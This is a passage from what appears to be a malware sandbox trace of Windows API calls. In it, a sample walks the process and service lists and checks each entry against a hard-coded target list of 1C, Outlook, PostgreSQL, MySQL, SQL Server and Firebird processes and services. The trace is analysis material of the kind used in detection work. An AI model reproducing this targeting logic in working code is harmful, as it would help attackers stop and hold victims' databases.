(lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0235.780] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0235.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0235.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0235.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0235.780] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.781] lstrlenW (lpString="csrss.exe") returned 9 [0235.781] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0235.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0235.781] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0235.781] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0235.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0235.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0235.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0235.781] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.782] lstrlenW (lpString="wininit.exe") returned 11 [0235.783] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0235.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0235.783] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0235.783] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0235.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0235.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0235.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0235.783] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.784] lstrlenW (lpString="csrss.exe") returned 9 [0235.784] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0235.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0235.784] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0235.784] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0235.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0235.784] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0235.785] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0235.785] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.786] lstrlenW (lpString="winlogon.exe") returned 12 [0235.786] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0235.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0235.786] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0235.786] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0235.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0235.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0235.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0235.786] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.475] lstrlenW (lpString="services.exe") returned 12 [0236.475] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0236.475] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0236.475] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0236.475] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0236.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0236.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0236.475] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0236.475] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.477] lstrlenW (lpString="lsass.exe") returned 9 [0236.477] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0236.477] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0236.477] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0236.477] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0236.478] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0236.478] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0236.478] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0236.478] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0236.479] lstrlenW (lpString="lsm.exe") returned 7 [0236.479] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0236.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0236.479] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0236.479] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0236.479] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0236.480] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0236.480] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0236.480] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.481] lstrlenW (lpString="svchost.exe") returned 11 [0236.481] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0236.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0236.481] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0236.481] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0236.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0236.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0236.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0236.481] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.482] lstrlenW (lpString="svchost.exe") returned 11 [0236.482] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0236.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0236.482] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0236.482] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0236.482] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.484] lstrlenW (lpString="svchost.exe") returned 11 [0236.484] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.485] lstrlenW (lpString="svchost.exe") returned 11 [0236.485] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.486] lstrlenW (lpString="svchost.exe") returned 11 [0236.486] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.487] lstrlenW (lpString="audiodg.exe") returned 11 [0236.487] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.488] lstrlenW (lpString="svchost.exe") returned 11 [0236.488] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.490] lstrlenW (lpString="explorer.exe") returned 12 [0236.490] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.491] lstrlenW (lpString="dwm.exe") returned 7 [0236.491] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.492] lstrlenW (lpString="svchost.exe") returned 11 [0236.493] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0236.494] lstrlenW (lpString="driver.exe") returned 10 [0236.494] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.495] lstrlenW (lpString="spoolsv.exe") returned 11 [0236.495] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0236.496] lstrlenW (lpString="taskhost.exe") returned 12 [0236.496] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.497] lstrlenW (lpString="svchost.exe") returned 11 [0236.497] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0236.498] lstrlenW (lpString="dllhost.exe") returned 11 [0236.498] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0236.499] lstrlenW (lpString="reader_sl.exe") returned 13 [0236.500] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0236.501] CloseHandle (hObject=0x3b0) returned 1 [0236.501] Sleep (dwMilliseconds=0x1f4) [0237.600] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c30b8 [0237.930] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0237.932] GetLastError () returned 0xea [0237.932] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x41d0998 [0237.932] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0237.933] CloseServiceHandle (hSCObject=0x41c30b8) returned 1 [0237.934] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0237.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0237.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0237.934] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0237.934] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0237.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0237.934] lstrlenW (lpString="AudioSrv") returned 8 [0237.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0237.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0237.934] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0237.934] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0237.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0237.935] lstrlenW (lpString="BFE") returned 3 [0237.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0237.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0237.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0237.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0237.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0237.935] lstrlenW (lpString="CryptSvc") returned 8 [0237.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0237.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0237.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0237.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0237.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0237.936] lstrlenW (lpString="CscService") returned 10 [0237.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0237.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0237.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0237.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0237.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0237.936] lstrlenW (lpString="DcomLaunch") returned 10 [0237.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0237.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0237.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0237.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0237.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0237.937] lstrlenW (lpString="Dhcp") returned 4 [0237.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0237.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0237.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0237.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0237.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0237.937] lstrlenW (lpString="Dnscache") returned 8 [0237.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0237.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0237.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0237.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0237.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0237.938] lstrlenW (lpString="DPS") returned 3 [0237.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0237.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0237.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0237.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0237.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0237.938] lstrlenW (lpString="eventlog") returned 8 [0237.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0237.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0237.938] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0237.938] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0237.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0237.939] lstrlenW (lpString="EventSystem") returned 11 [0237.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0237.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0237.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0237.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0237.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0237.939] lstrlenW (lpString="gpsvc") returned 5 [0237.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0237.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0237.939] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0237.940] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0237.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0237.940] lstrlenW (lpString="iphlpsvc") returned 8 [0237.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0237.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0237.940] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0237.940] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0237.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0237.940] lstrlenW (lpString="LanmanServer") returned 12 [0237.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0237.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0237.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0237.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0237.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0237.941] lstrlenW (lpString="LanmanWorkstation") returned 17 [0237.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0237.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0237.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0237.942] lstrlenW (lpString="lmhosts") returned 7 [0237.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0237.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0237.942] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0237.942] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0237.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0237.942] lstrlenW (lpString="MMCSS") returned 5 [0237.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0237.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0237.942] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0237.942] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0237.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0237.943] lstrlenW (lpString="MpsSvc") returned 6 [0237.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0237.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0237.943] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0237.943] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0237.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0237.943] lstrlenW (lpString="NlaSvc") returned 6 [0237.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0237.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0237.943] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0237.943] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0237.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0237.944] lstrlenW (lpString="nsi") returned 3 [0237.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0237.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0237.944] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0237.944] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0237.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0237.944] lstrlenW (lpString="PcaSvc") returned 6 [0237.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0237.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0237.944] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0237.944] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0237.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0237.945] lstrlenW (lpString="PlugPlay") returned 8 [0237.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0237.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0237.945] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0237.945] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0237.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0237.945] lstrlenW (lpString="Power") returned 5 [0237.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0237.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0237.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0237.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0237.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0237.946] lstrlenW (lpString="ProfSvc") returned 7 [0237.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0237.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0237.946] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0237.946] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0237.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0237.946] lstrlenW (lpString="RpcEptMapper") returned 12 [0237.946] lstrcmpiW 